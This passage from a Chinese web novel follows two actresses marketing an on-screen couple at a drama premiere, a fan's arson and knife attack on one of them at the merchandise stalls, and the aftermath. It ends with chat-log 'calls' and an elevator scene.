阿星瞬间绽笑，合身一扑趴于顾明月背上，欢喜高呼：“嘿嘿，我就知道小姐最乖了。” 不多时，二人收拾妥当前往庙会。 阿星蹦蹦跳跳走在前面，时不时推着顾明月的身子要她快些走。 前方有杂技表演，众人快速跑过去看热闹。顾明月步伐太慢，阿星性子急，拉着顾明月的手朝那处跑过去。 “小姐，不要磨蹭啦。” “好好好，跟上了。”顾明月无奈笑笑。 【好甜啊好甜啊好甜啊】 【[月星百万］天下第一！】 【磕cp的能不能滚啊！】 【你管我们磕不磕，这又不是你的地盘】 【好热，苏寄欢你给我喝了什么啊】 【想喝什么自己加】 【咖啡不断加加加加到厌倦～】 台下观众—— “嗷嗷嗷，真的好好磕啊！我没想到正剧比剪辑还要甜！” “是啊是啊，而且大屏看真的好爽好爽！” “等下就可以见到真人了，好期待啊！” 台下的观众们边抬头看剧，边双手在手机屏幕上不停忙碌着发送弹幕。与此同时，此起彼伏的讨论声交织在一起，众人兴高采烈地分享着对剧情的看法。 景雨初端坐在第一排中间的位置，梁韵文和温晚棠一左一右相伴而坐，三人的目光都聚焦在前方大屏幕上。 第一排的观众皆是官方特邀而来，其中不乏祝星亦和苏寄欢的超人气大粉，除此之外还有不少媒体记者，他们激动地讨论着剧情，比弹幕还要热闹。 身后的座位区域同样喧闹不已，观众们高涨的情绪似要将整个厅掀翻，景雨初微微蹙了蹙眉头，抬手轻揉了揉耳朵。 太吵了，真的太吵了，大屏上的弹幕看得人眼疼，耳朵也被这些人聒噪着，这次体验太难受了。 第一集时长恰好一个小时，由于是首映典礼，剧不能暂停也不能快进。八点之后主演们才会登场，还要继续等着。 眼下现场气氛热烈非常，景雨初暗自思忖，照这般情形来看，稍后的互动环节大概率会进展得十分顺利，无需过多担忧了。 想到这里，她原本紧绷的心弦悄然松缓。 顺利进行就好，吵就吵吧。 慢慢地，剧情来到了第一集的结尾处。 家道中落的顾明月和阿星颠沛流离，最后来到江南。浑身灰扑扑的两人缩在船上，看着小城越来越近，耳畔响起其他船客的声音：“苏州到了，苏州到了啊。” 阿星靠在顾明月身边，抬眸问：“小姐，我们到苏州了，苏州……苏州会是我们的家吗？” 顾明月牵着阿星的手起身，她们来到船头，江风吹动她们的素衣。 “苏州啊……”顾明月转眸对上阿星充满期待的眼，“苏州是个好地方。家么……有阿星在的地方，就是家。” “呜……小姐！”阿星扑进顾明月的怀里，“呜呜呜……有小姐在的地方，就是家！阿星只有小姐了，阿星要永远陪着小姐！” 人间三四月，江南春好处。顾明月拍拍阿星的背，温柔道：“嗯，我也永远和阿星在一起。” 她瞭望不远处的苏州城，发丝微扬，清冷的脸庞上满是坚毅的神色。她抱紧怀里的阿星，轻声说：“我也只有阿星了。” （第一集完） 【啊啊啊第一集就这么没了！】 【怎么就开个头啊，又要等一天才能看到下集】 【嘿嘿，又抱抱了耶】 【第一集就牵了六次手！六次！我都不敢想后面要牵多少次！】 【撒花～期待下集～】 【顾小姐和阿星从此要在苏州安家啦！】 【有彼此的地方，就是家】 【江南好啊，明月和阿星去了一个好地方】 悠扬的片尾曲《千千结》随之响起，台下的观众鼓完掌一片欢呼。 “太好看了啊啊啊！” “星星演技真的好好啊！完全看不出来是第一次演戏！她演得真的好灵动啊！天赋级演员！” “我真的是磕疯了，她俩一对视我都觉得她们要do了！” “[月星百万］真的是太好磕了啊！” 观众们还在叽叽喳喳议论着，主持人小宁缓缓登场。一番热场后，小宁往一旁退了退道：“让我们欢迎《寄明月》主演团出场，有请我们的顾明月（苏寄欢）、阿星（祝星亦）、宋璐（齐漫姝）、钱雅（任紫妍）、戚风雪（谈琳欣）！以及我们的导演黎芷恩，还有我们的编剧老师苏洁女士！” “啊啊啊啊！星宝星宝！” “苏苏！苏苏！苏苏！” “[月星百万］天下第一！” “啊啊啊啊[月星百万］！！” 主演团从舞台左侧进来，为首的是黎芷恩，后面跟着苏寄欢等人。景雨初架好相机对准苏寄欢，待看到祝星亦的身影后，她顿了下，又将取景框对准二人。 “今天来了好多cp粉啊。”梁韵文感叹。 温晚棠道：“我听说达尼官方在cp群里放了好多票，现场双方的纯唯粉都很少，基本都是cp粉。” 梁韵文蹙眉：“官方卖cp也太明显了，这真的不赶粉吗？” 景雨初边拍照边说：“他们知道粉丝一定会支持，所以根本没把粉丝当回事，他们只想吸路人粉。路人基本盘越大，越能和《辞旧赋》打。” 梁韵文叹道：“我都不知道到时候如何收场，要一直卖下去吗？不怕暴露的那天？” “迟早的事，暴露的话也能吸一波cp粉。” “有时候会觉得我们真的无力改变什么。”梁韵文跟着其他观众一起挥手和苏寄欢打招呼，“但又觉得，她的私事我们无权过问。” “顺其自然吧。” 台上众人一番热热闹闹的自我介绍与亲切招呼过后，互动环节拉开帷幕。 小宁的目光在主演们身上轻快扫过：“好了，那现在进行提问的互动环节啦，有请星星先抽取座位号哟。” 祝星亦轻移上前，手探入抽奖箱稍作摸索后，抽出一张卡片，脆声念道：“4排17号。” 刹那间，全场目光如聚光灯般齐刷刷射向4排17号座位。 一位满脸兴奋的女生忙不迭站起身来，接过工作人员递来的话筒，难掩激动问道：“请问星星和苏苏，剧中阿星和明月那般亲密无间，咱们私下拍戏的时候，会不会不自觉就起化学反应啦？” 此问一出，台下瞬间被点燃，尖叫声此起彼伏，似要掀翻屋顶。 “啊啊啊啊问出了我想问的问题！” “简直是我的嘴替！” 话筒递至祝星亦跟前，她只觉脸颊瞬间滚烫，一时间脑海空白，不知从何作答。 化学反应……拍《寄明月》是在去年，那时候她对苏寄欢只是多了些依赖，但现在…… 苏寄欢却似早有准备，从容不迫地举起话筒：“会起一点点，毕竟每天都和可爱的小狐狸共处，想不起化学反应都难。” 祝星亦听闻，心想苏寄欢真会卖。她脸上的红晕一路蔓延至耳根，憋了半晌才忸怩说道：“我觉得苏老师极为出色，抛开顾明月的角色魅力不谈，苏老师自身的魅力值很大，片场的大家都很喜欢她。” 台下观众扯着嗓子齐声高喊：“那你喜不喜欢她！” 苏寄欢微微侧身，长睫轻垂，静静等她的回应。祝星亦却似被施了定身咒，双唇紧闭，久久未曾吐出一字。 齐漫姝瞧准时机，满脸狡黠凑上前，唯恐天下不乱地嚷嚷：“哎呀呀，其实大星心底可崇拜苏小姐啦，大家都知道，苏小姐可是大星亲口认下的师父呢！” 台下观众一听，立马炸开了锅，抗议声一浪高过一浪：“我们不知道！！” 齐漫姝挑眉笑道：“哟，原来你们不知道。人家俩早在许久之前便结成师徒啦，苏小姐为人耐心负责，在拍剧的时候一直都是手把手悉心教导大星。我们拍戏大多都是白天，苏小姐白天教大星，晚上呢，也教大星，俩人常常在酒店房间里……” “在酒店里挑灯夜读，废寝忘食。”谈琳欣快人快语，顺势接过话茬。 谈琳欣与苏寄欢相识已久，此次在《寄明月》里饰演的清平公主，与顾明月对手戏颇多，对苏寄欢和祝星亦私下相处细节也略知一二。 她晃了晃手中话筒，神秘兮兮爆料：“我每次想去寻苏苏探讨下戏，好家伙，次次都扑个空。她助理每次都无奈告知我，苏苏又去找星星咯。有一回我实在没辙，径直奔向星星房间，结果刚到门口，就听见里头传出一些稀奇古怪的声响。我当时脑袋一懵，啥也没敢多想，撒腿就跑。” “奇怪的声音！到底是什么呀！”台下观众好奇心爆棚，叫嚷声震耳欲聋。 祝星亦也满脸茫然，讷讷问道：“奇怪的声音？是……是哪天来着？” 谈琳欣歪头回想，一拍手笃定道：“就是拍完珠宝商那场戏的当晚！” 祝星亦绞尽脑汁仍是一头雾水，只好无助地望向苏寄欢。 苏寄欢略作思忖，轻声解释：“嗯……应当是咱俩在讨论别的事儿呢。” 台下观众哪肯轻易放过，穷追不舍追问：“是什么内容！” 祝星亦依旧满脸迷茫，苏寄欢见状凑近她耳畔低语：“还记得看喜剧电影的时候吧，你吃东西笑得岔了气，差点噎着，我当时不得不用海克拉姆急救法帮你把东西弄出来嘛。” 祝星亦忆起那尴尬瞬间，羞得满脸通红，凑近苏寄欢小声嘟囔：“那可千万别往外说，太丢人了。” “行。”苏寄欢爽快应下。 “你们偷偷摸摸嘀咕什么呢！”台下观众急得直跳脚，“有什么内容是我们不能听的！！” 苏寄欢不慌不忙拿起话筒，“这个嘛……属实不便透露，星星脸皮薄，有些不好意思。” 祝星亦听着这话，心底莫名觉着别扭，可一时又琢磨不出问题所在，只能干笑着掩饰窘态。 台下观众却愈发来劲，起哄声浪一波接着一波。 “你们干了啥不好意思的事儿啊啊啊！” “是不是背着我们做了爱做的事啊啊啊！” “星星你脸咋这么红！是不是我们想的那样！” 景雨初在台下瞧得心急如焚，狠狠将相机往腿上一放，咬牙切齿暗骂：“我真是服了苏寄欢这祖宗，难不成真想把她和祝星亦那点床上的破事儿昭告天下！” 景雨初满心焦急，恨不能立刻冲上台去捂住苏寄欢的嘴。 一番喧闹过后，轮到苏寄欢抽签。瞧着眼前这cp粉狂欢的阵仗，景雨初满心祈祷苏寄欢能抽到自己，好歹问些与剧相关的正事儿，把这失控场面给拉回来。 苏寄欢抽出号码牌，脆声念道：“8排21号。” 随即目光四下一寻，笑问：“在哪里？” 8排21号座位的女生瞬间化身尖叫鸡，蹦得老高，挥舞双手大喊：“啊啊啊在这里在这里！” 待工作人员递上话筒，女生激动得声音都发颤：“我好幸运！我可太喜欢苏苏，也超爱星星，你们俩我都爱到不行！” 景雨初一听，满心无奈，身子一歪瘫倒在椅背上，暗叹：得，又是个cp粉。 女生紧接着抛出问题：“你们俩的[月星百万］cp火得一塌糊涂，满大街都在磕，请问你们自己知不知道你们的cp这么火呀？” 景雨初气得闭眼攥拳，扭头恶狠狠瞪向那女生。 磕cp还舞到正主面前，懂不懂规矩？！ 台上苏寄欢倒是神色自若，“嗯，多多少少有所耳闻，知道大家很喜欢磕。” 女生不依不饶，再度追问：“那苏苏，你对这cp有什么看法呀？你喜欢大家磕你们的cp吗？” 第73章 我们的粉丝【元旦福利预告】 【今天两更，下一章是1000字番外，0点10分掉落1.5万字新年章节，预祝大家元旦快乐！】 听到这个问题，祝星亦竖起耳朵，但很快她便对这个问题和回答失去了兴趣。 她想苏寄欢肯定会很官方地回答，或者再加点轻松的趣味。 “大家喜欢磕，证明大家认可我们的亲密关系，也是对剧中明月和阿星主仆情深的肯定。”苏寄欢这样说。 祝星亦心想自己猜对了，苏寄欢果然会这样说。 “那苏苏，你本人认可你们的cp吗？”女生问。 祝星亦又竖起耳朵，一秒钟后，她又失去了兴趣。 她何必期待这些？两个人的工作就是卖cp，有些话是真是假就不要在乎了，当是在演戏就够了。 但人都是会有情绪的，要她不在乎一些东西，很难。* 她侧着身子，轻轻转头看苏寄欢。 苏寄欢举起话筒看向观众，台下的观众举着灯牌，上面写着[月星百万天下第一］。 韩芸的运营很给力，[月星百万］从推出到现在，热度一路向上，从未掉下来过。 原本对卖cp持反对意见的苏芙看《寄明月》热度起来了，举双手双脚支持二人卖cp，还招呼苏以薇她们一起做cp超话的任务。 从头到尾，卖cp都是一种营销策略，没有掺杂过其他东西。就好像她和祝星亦结为师徒，也只是一种利益交换。两年后祝星亦要和风荇解约，然后带着另外四个姑娘签约[苏盛］。 很少有感情能完全脱离物质和利益，但一段感情里只有物质和利益的话…… 苏寄欢晃了下神儿，偏头看身旁的女孩。 女孩未熟透的肌肤透着朦胧月光的柔和，琥珀色的眼珠莹润清亮，像浸在井水里的玻璃珠子。绿藻一般的墨发尾部打着卷儿，微抿的唇角好像藏着许多心事。 一阵令苏寄欢发慌的心悸席卷而来，好像有什么东西把她推到深渊口。 她眼底泛起一阵波澜，浅笑道：“这个问题，我想让星星帮忙回答一下。” 祝星亦被点名，赶忙回过神儿。苏寄欢侧了下身子问：“星星，你认可我们的cp吗？” 祝星亦举起话筒不假思索道：“大家喜欢磕就是对我们作品的认可，作为新人演员，我会继续跟着苏老师学习，也会带给大家更多快乐。感谢大家喜欢磕我们的cp，我也很荣幸能和苏老师组cp，谢谢大家。” “星星！我们喜欢你！” “永远都爱月星百万！” 台下顿时响起一片欢呼声和起哄声。 苏寄欢垂下眼睫笑了笑，“我也很荣幸能和星星组cp，谢谢大家的喜欢。” “苏苏，我想知道，你会觉得我们对你们的二次创作是在冒犯你们吗？” 苏寄欢：“在不损坏我们双方的个人形象的情况下，我不觉得那是冒犯，而且我觉得，好的创作是很伟大的，大家磕得开心就好。” 祝星亦跟着举起话筒说：“嗯，大家磕得开心就好。” “啊啊啊苏苏星星你们好大方啊！” “同人女就是最伟大的！” “妈妈妈咪，我好爱你们！” 梁韵文按下录制键的暂停键，用一种吃了苍蝇的脸色问景雨初：“所以……所以这场首映礼……是跟所有人官宣支持磕cp？” 温晚棠也是一脸黑色：“救命，我没见过正主下场认证的，她就没想过到时候如何收场吗？她真以为同人创作就是大家磕磕cp那么简单的吗？她们的cp粉以后是要凌驾在唯粉头上的，日后也有可能凌驾在个人工作室和正主头上的！” “同人女是一个很可怕的群体，在她们创作的影响下，正主都会失去话语权。她们主打一个我磕的是两个的cp，我不管真人的死活，甚至会当正主死了，我想怎么创作就怎么创作。” “苏寄欢……”景雨初已经预料到未来cp粉会给她们带来多少麻烦。 公开允许大家磕cp，打的就是万一哪天恋情暴露了，她们能顺其自然官宣。 “你真的要这么放肆吗？”景雨初望着台上的苏寄欢，有点分不清自己到底在做什么了。 作为苏寄欢的大粉，她理所应当维护苏寄欢，也接受了嫂子的存在。可现在的苏寄欢很明显就是越玩越过火，真的要这样惯着她吗？ 台上苏寄欢的目光时不时落在祝星亦身上，祝星亦似乎并未察觉这样的眼神，倒是苏寄欢满眼的欢喜都遮挡不住了。 “尊重她吧。”景雨初压抑着怒气轻声说，“她喜欢就好，我们做好我们的事就行。” 首映礼结束，有关《寄明月》和[月星百万］的词条几乎都霸占了热搜。景雨初查看苏寄欢和祝星亦的粉丝数据，竟然都增长了差不多一百万。 再看[月星百万］的cp超话，稳居cp活跃榜第一名，cp粉[迷航员］更是增加了几十万。对比个人超话粉丝的增长数据来看，几乎是倍数。 “才第一集，数据就涨成这样了？”景雨初坐在小凳子旁刷手机感叹道。 二楼大厅处，[酥芽］和[星海］两家支了小摊位，等着粉丝出来凭票领物料。 梁韵文接了个电话回来说：“她们明天晚上要去做客直播间，行程比较赶。小雨，我们这边安排人去伯利大厦，你先休息休息，这几天辛苦你了。” 景雨初：“我明天尽量赶到，我怕毒唯和那群梦女会干出什么会上热搜的事，我们现在还是尽量保护好嫂子。” 景雨初翻了下祝星亦公司风荇娱乐的信息，揉揉眉心：“嫂子怎么说也是升咖了，怎么还是没有工作室？艺域那边是代运营不给她也就算了，风荇还不给她组工作室？” 她刷了刷广场上激烈毒唯对祝星亦的攻击，只有[星海］在清词条，祝星亦本人微博评论区也被那些人攻击。这种事应该由工作室出面处理部分舆论，但祝星亦…… “我尽力让那些人不要攻击嫂子了，但毒唯我是真管不住。”景雨初对部分粉丝也是头疼得很。 正常的粉丝再激动也会听点话，但管不住的始终管不住，景雨初追了苏寄欢十多年，对毒唯和极端梦女束手无策。 梁韵文叹道：“我提醒一下那个叶松萝吧，必要的话可以采用法律手段维权。” 温晚棠摇头道：“这种事只能嫂子亲自来做，她没工作室是麻烦了点。” 景雨初刷着极端[酥芽］对祝星亦的攻击，竟有些心疼。她只希望祝星亦少搜自己的词条，这些恶毒的语言普通人根本承受不住。 摊位前的[酥芽］排队领物料，景雨初看人多，起身去帮忙。 “明天伯利大厦那边只请她们两个过去，其他人在其他平台。”温晚棠说，“录完……” “你好，这个海报可以给我看看吗？”一个学生模样的[酥芽］递上票根，指了下海报。 这个学生背着帆布包，齐肩发，一脸恬静青春。 景雨初取下海报双手递给这位学生，转头跟温晚棠说：“录完可能就9点，我肯定可以赶过去。但我怕cp粉到时候太多，挤得水泄不通。” “只能指望伯利大厦那边的安保了，但我觉得……没啥指望的，前些天伯利大厦那边不是有粉丝争执发生？” “我今晚早些休息好了，还是要赶过去才行。”景雨初始终放心不下。 “您好，我想兑换那个立牌。”学生——范可心说。 “好，给你。”景雨初取下立牌递给范可心。 范可心接过立牌后，先是仔细端详了一番，随后抬起头轻声问：“姐姐，明天苏苏是要去直播吗？” 温晚棠回应道：“对，在伯利大厦那边，不过明天就是周一了，你应该在上课吧？” “嗯，我高一，明天得上课。”范可心脸上闪过一丝遗憾，接着说：“直播的话……学校也不让带手机，只能等回放了。” 景雨初把海报也递给范可心，脸上带着温和的笑意，语重心长地说：“剧和直播回放，什么时候都能看。重要的还是学习，追星是一回事，可不要耽误学习。” 景雨初生怕这小姑娘因追星而影响了学业，正忙碌着的梁韵文听到这话，也停下手中的活儿，一脸严肃地说：“不要学对面的粉丝，她家粉丝好多学生呢，学生就应该好好学习，追星是次要的。” 范可心丝毫没有不悦，反而扬起甜甜的笑容说：“我也是这样觉得的，我会好好用功读书的。” 说完，她小心翼翼地拿着立牌和海报转身离开。 其他人继续排队领东西，没一会儿，范可心又回来了。她仰起充满朝气的脸，脆生生地说：“对了，姐姐，我也有东西送给你们。” 景雨初先是一愣，紧接着开心问道：“礼物？送给我们吗？” “嗯！”范可心用力地点了点头，翘起的唇角带着几分俏皮。 说着，范可心便将手伸进包里，在包里摸索了好一会儿，终于掏出一瓶液体。 景雨初一脸疑惑，不知道她这是要干什么，还没等反应过来，忽然，范可心竟把液体一股脑地倒在摊上，紧接掏出火机，一下子就点燃了摊位。 刹那间，现场一片死寂，紧接着便是一阵惊呼声炸开。排队领物料的人们瞪大了眼睛，脸上满是惊恐。 火，有人纵火了！ 物料都是些易燃品，加上范可心倒的汽油，整个摊位烧个不停。 景雨初被吓得心脏猛地一缩，脸色瞬间变得煞白，但很快她就强迫自己冷静下来，扯着嗓子大喊：“灭火器！找灭火器！” 梁韵文听到喊声立刻转身就朝着放置灭火器的地方跑去，边跑边喊着让大家别慌。 而对面摊位的[星海］们，也都被这突如其来的一幕惊得呆立在原地，好一会儿才回过神来，随后也赶忙朝着这边跑来帮忙。 范可心看着众人的反应，丝毫没有害怕，反而抱着自己的包退了几步，然后毫不犹豫地把苏寄欢的立牌和海报一股脑地丢进火里。 温晚棠瞪着眼朝范可心跑去，已经快跑到跟前了，范可心见状猛地从包里抽出一把锋利的小刀，高高举起，朝着温晚棠吼道：“不准过来！你敢过来我杀了你！” 她举起刀的手因为激动而颤抖着，脸上的表情扭曲得有些吓人。 那边梁韵文和景雨初焦急地寻找着灭火器，对面摊位的[星海］们也纷纷赶了过来，手忙脚乱地帮忙寻找着。 这时叶松萝拎着灭火器快速跑了过来，她的额头上满是汗珠，梁韵文也拿着灭火器赶了过来，两人对视一眼，立刻朝着火的方向跑去。 白色的粉末喷涌而出，在一片混乱中，终于齐心协力把火扑灭了。 还没等大家松口气，保安那边也急忙赶了过来，却看到一个学生还拿着刀，正一步步地朝着人群逼近。 保安们脸色一沉，扯着嗓子吼道：“快住手！放下刀！” 人们吓得纷纷往后退着，慌乱地挤作一团。 温晚棠咬着牙伸出双臂，像一堵坚实的墙一样护着身后的人们厉声说道：“我警告你，你要是敢过来，你的前途就没了！” “我的前途没了？我不在乎。”范可心冷笑一声，她的声音带着哭腔却又透着一股狠劲，“呵呵，只要杀了你们，就没有人再敢骂星星了。” 听到祝星亦的名字叶松萝愣了一下，她喃喃自语道：“这是……[星海］吗？” 叶松萝有点不敢相信。 眼前这个嫌犯居然是[星海］…… 范可心的情绪越发激动起来，眼泪顺着脸颊滑落，她大声质问：“凭什么你们要骂星星，她做错了什么要被你们骂？她有多么努力才走到今天这一步，她有多么努力才能出现在银幕上，她走的每一步我都看在眼里，她那么努力，还要被你们这么羞辱，凭什么？！” 她的身子因为激动而剧烈摇晃着，手中的刀也跟着晃动。 景雨初头疼地想着，这线上的战斗居然直接发展到线下了，真是乱成了一锅粥啊，可现在又毫无办法，只能先稳住眼前这个情绪失控的小姑娘。 范可心身子瘦弱，声音却这大厅里回荡着。围在大厅里的都是参加首映礼的人，有cp粉，有[酥芽］，有[星海］，还有不少举起手机记录、直播的媒体记者。 面对范可心的行为，有的人在窃窃私语，有的则是安静地录像，想要记录下这不可思议的一幕。 范可心继续哭诉着，声音越发尖锐：“你们以为你们很高贵吗？你以为你们的正主很高贵吗？你们的正主从小什么都有，不费吹灰之力就拿到了一切，那又怎么样？很值得骄傲吗？毫不费力得到一切的人，就应该嘲笑努力拥有来之不易东西的人吗？你们为什么要嘲笑一个努力的人？星星做错了什么？” 许明歌看着这混乱又危险的场面，心急如焚，想要上前制止，却被叶松萝一把拦住了。 叶松萝也是一脸紧张，她压低声音说：“别，她现在情绪不稳定，我怕她会直接暴起。” 范可心似乎陷入了自己的情绪里，根本顾不上周围人的反应，继续说：“第三次公选排练，她从舞台上掉下来摔伤了腰，她一声不吭排完才去医院检查。简单治疗后直接参加公选表演，一个失误动作都没有。她在那档节目被恶意剪辑，半决赛前一天直播，满屏都是骂她的人，她没抱怨一个字，从无数条恶意评论里挑选[星海］的留言耐心回复，然后笑着直播完。” 听着这些，叶松萝的眼眶忽然就红了，眼泪不受控制地流了下来。 她虽然不支持范可心的这种极端行为，可她不得不承认，范可心的话就像一把刀，直直地戳进了她的心里。 只有[星海］知道祝星亦走到今天有多么不容易，只有她们知道祝星亦吃了多少苦才获得现在的成就。 范可心的情绪愈发激动，声音都有些嘶哑了，大声喊道：“你们知道那档节目里有多少家大公司跟她竞争第一名吗？你们知道有多少皇族吗？你们知道有多少人故意欺负她阻挡她获得好的名次吗？可是我的星星她胜利了，她靠实力获得胜利了。皇族都打不败的偶像实力，在你们嘴里，她成了死猪，成了吸血鬼，成了舔脚的贱货，凭什么！凭什么！” 说着，她竟往前挪了几步，那刀也跟着离众人更近了几步，吓得众人又是一阵惊呼。 “你们妄想用三两句恶毒的语言毁掉一个人，你们诋毁她、辱骂她，但总有一天会孽力回馈的！不得好死的是苏寄欢！她才不得好死！该死的是她，是你们！不是星星！你们这群只会伤害星星的人，你们该死！” 温晚棠一边紧紧地护着身后的人，一边焦急地说：“我们没有骂她一个字！” 她看着那刀有一丝害怕，身子也不自觉地往后缩了缩，可还是强撑着继续说：“我为那些极端粉丝的言论向你，也向祝小姐道歉。我们会尽力举报那些言论，也会让那些人的声音小一点……” “你以为我会相信你们吗？”范可心冷笑一声，“言论消掉了，可你们对她的偏见消不掉。你们只觉得她是穷鬼，觉得她出身卑微，觉得她不配和你们的主子站在一起。呵呵，哈哈哈哈！她选择不了她的出身，她永远都是从岭州大山里走出来的孩子，可是那又怎样？她现在在闪闪发光，她以后也会闪闪发光。” “她能从底层走到高处，但你们的主子只会在原地踏步。星星才最高贵，星星才最高贵！！”范可心咆哮着，震得人耳朵嗡嗡作响。 温晚棠看着眼前这个已经陷入疯狂的女孩，深吸一口气，努力让自己的声音听起来更沉稳一些，劝说：“好，我们不对她有偏见，你可以先把刀放下来吗？你要想清楚，你再这样下去你自己的前途会被你自己毁掉。而且祝小姐她还在这栋大楼里面，你想要让她看到你这副样子吗？你忍心让她知道，你为了保护她而拿刀指向我们吗？你忍心让她知道你为了她，失去了自己的前途吗？” 范可心听了这话，身子猛地一抖，脸上的表情有了一瞬间的松动，忽然就沉默了下来，举起刀的手也微微垂了垂，眼里闪过一丝犹豫与挣扎。 温晚棠一看这招似乎有效，刚准备再开口说些什么，却见范可心忽然像是下定了什么决心一般，猛地持刀朝着一处快速奔跑过去。 温晚棠心里“咯噔”一下，转头看去，只见苏寄欢和祝星亦刚从电梯出来，正朝着这边走来，她心道不好，大喊一声：“糟糕！范可心要伤害苏苏！” 景雨初听到喊声，也是脸色一变，毫不犹豫地拔腿就朝着范可心跑去，边跑边喊着让她停下。 那边苏寄欢和祝星亦从电梯里出来，两人有说有笑的正准备去大厅那处，却忽然听到一阵嘈杂声，紧接着就看到一个学生模样的女生持刀飞奔过来。 “星星小心！”苏寄欢反应极快，二话不说就一个箭步挡在祝星亦身前，把她紧紧地护在身后。 范可心红着眼睛，举着刀朝着苏寄欢就狠狠地捅了过去。 苏寄欢猛地伸出手，一下子握住了范可心的手腕。可范可心却不死心，另一只手快速伸过去拿过刀，又朝着苏寄欢狠狠地捅去。 苏寄欢躲避不及，只好拿手去挡，锋利的刀刃瞬间在她的手背上划开了一个大口子，鲜血一下子涌了出来。 “苏老师！”祝星亦被这一幕吓得尖叫起来，她想要站出来，却又被苏寄欢用力地推到身后。 苏寄欢咬着牙忍着手上的剧痛，趁着范可心愣神的瞬间用力夺过刀，然后用尽全身力气推了一下范可心。 范可心一个踉跄，往后退了几步。 这时保安们终于赶了过来，一拥而上死死地按住范可心，范可心动弹不得，却还在嘶哑着声音喊着：“都是你的错，都是你害得星星被骂，全都是你的错，你怎么不去死？你怎么不去死？该死的明明是你！！” 祝星亦心下一惊，莫非，这个女生是自己的粉丝？ 又听了几句，祝星亦确认是自己的粉丝，她再也忍不住了，不顾苏寄欢的阻拦站了出来。 被几个人按着的范可心看到祝星亦，忽然边哭边喊着：“星星！星星！我的星星，她们为什么要这么伤害你啊！你什么都没有做错，你那么好，你那么好，他们为什么要那样骂你？我的星星，我的星星！！” 她拼命地挣扎着想要朝着祝星亦靠近，但被人死死按着，并被警告不许动。 祝星亦看着范可心满脸的眼泪，张了张嘴，想要说些什么，还没等开口，忽然就被苏寄欢拉着往电梯那边走。 苏寄欢一脸严肃，拉着祝星亦的手一边走一边说：“星星，快走，这里太危险了，让警察处理这事。” 祝星亦被拉着走了几步，却还是忍不住回头。 她的目光穿过层层人群，对上了范可心的眼。 她下意识地朝范可心伸出了手，那只手在空中停顿了一下，仿佛想要抓住什么。 然后，她就被苏寄欢用力拉进了电梯。 层层的人群中，被压着的范可心看到那只朝自己伸出的手，像是得到了什么慰藉一般。 她用尽全身力气举起自己的手，朝着祝星亦的方向挥舞着，嘴里不停地喊着：“星星，星星，星星！星星！” 可还没等她多喊几声，她举起的手就被人用力按下了。 连同被按下的还有她的头，一汩汩热泪从她眼眶里流出。 “星星……星星……星星……” 第74章 【通话】你听我说 //通话一// 祝星亦：【马上要决赛了，别人都去拜神了，我也去了。我今天去了鹿芜观，你猜我碰到了谁？】 祝星亦：【苏寄欢！是苏寄欢！】 祝星亦：【她比大荧幕里漂亮几千倍！她真的太漂亮了！】 祝星亦：【不过我和她的初遇真的好糗啊呜呜呜】 祝星亦：【我上山被小鹿追，真的吓得要死，之后跑着跑着就撞到人了，还把人撞倒了】 祝星亦：【是的，你没猜错，我撞倒的就是苏寄欢呜呜呜】 祝星亦：【她帮我把小鹿赶走了，还问我有没有受伤，还好我和她都没受什么伤，但是真的好糗】 祝星亦：【可是真的好糗啊，万一我以后和她有接触，那多尴尬啊】 祝星亦：【但愿如此吧……不过……嘿嘿，她真的好漂亮呀！】 //通话二// 祝星亦：【妈妈，我今年可能不能回家过年了】 祝星亦：【是啊，我进组了，要在剧组过年】 祝星亦：【嗯嗯，知道了】 祝星亦：【挺好的，有前辈照顾我】 祝星亦：【就是我跟你说过的，成团夜那天给我颁奖的人，也一起上了一些综艺的姐姐】 祝星亦：【对，苏寄欢】 祝星亦：【这次我和她一起搭戏，一个仙侠双女主剧，《长离引》，她演神尊云长洛，我演她的逆徒唐离，嘻嘻，我是她的cp，我们在剧里是一对儿呢！】 祝星亦：【她有教我很多，你放心啦，公司那边对我也很好，不会让我累着的】 祝星亦：【第一次演戏还真有点紧张，但是我本来就很喜欢表演，也算是实现自己的梦想了】 祝星亦：【嗯嗯，我对她也很尊重，她是个很好的人，对我很有耐心，我希望我可以跟她多多学习】 //通话三// 祝星亦：【我……我跟你说个事，你千万别说出去】 祝星亦：【你得发誓】 祝星亦：【嗯……你真的不会说出去吗】 祝星亦：【好，我要说的就是……】 祝星亦：【我恋爱了，对象是圈内人，是……】 祝星亦：【你怎么知道是苏寄欢啊！】 祝星亦：【我平时表现那么明显吗？？】 祝星亦：【啊啊啊！那你怎么不告诉我啊！我还以为你们都不知道呢，可恶，暗恋变明恋了】 祝星亦：【不是，是她跟我表白的，我……我立马就同意了】 祝星亦：【可是我为什么要拒绝啊，我很喜欢她啊！】 祝星亦：【我……我是觉得我有点因戏生情，她说她不是，她说她第一次遇到我就……】 祝星亦：【我哪里知道啊！我要是早就知道，我肯定……】 祝星亦：【对了，我跟你说，你千万别跟别人说，晏瑾年这个人很讨厌的，我从苏老师那边就能感受到了。不仅是晏瑾年，整个晏氏的人都不是好东西】 祝星亦：【反正就是很讨厌，我觉得苏老师也很讨厌晏氏的人。但没办法，晏瑾年是她老板，讨厌也不能表现出来】 祝星亦：【如果晏瑾年不是苏老师的老板就好了，我觉得苏老师很不自由，可是……算了，我有空跟你讲苏老师和晏瑾年的事】 第75章 我们深吻【元旦爆更福利/大糖】 电梯里，祝星亦的思绪被范可心的目光缠着绕着。 这段时间她收到了很多来自苏寄欢粉丝的恶意攻击，或轻或重的辱骂声在她脑海中不断回响，想不在意都难。 可她早已不是那个会被恶毒评论轻易刺痛的自己，外界的嘈杂于她而言，不过是过眼云烟。她心中有一把明确的标尺，她只在意自己能获得什么。 自从和苏寄欢开始卖cp，新粉丝如潮水般涌来。她深知cp粉终会被提纯，而当下[月星百万］正当红，且热度只增不减。她除了在综艺、剧集、舞台上吸引路人粉，那些被提纯的cp粉也终将成为她的粉丝。 粉丝这边她不担心，代言、专辑、影视资源，这些才是她该在乎和把握的东西，她只需紧紧跟随苏寄欢的脚步，便能稳步前行。 她知道[星海］会因自己遭受的舆论风波而情绪起伏，而她能做的，唯有一路向上，用更好的成绩来回报。 想着，她下意识地握紧了苏寄欢的手。 突然，一股温热的液体顺着她的手滑落。祝星亦猛地回过神，目光急切地投向苏寄欢的手，担忧之情溢于言表：“苏老师，你……” “无碍，伤口不深，先去保姆车里包扎一下。”苏寄欢神色轻松，仿佛受伤的不是自己，“还好你没事，哎，达尼这边的安保也太差劲了，她有刀竟然都没搜出来啊？” 祝星亦眉头紧蹙，满心愧疚：“她是我的粉丝，我……对不起。” 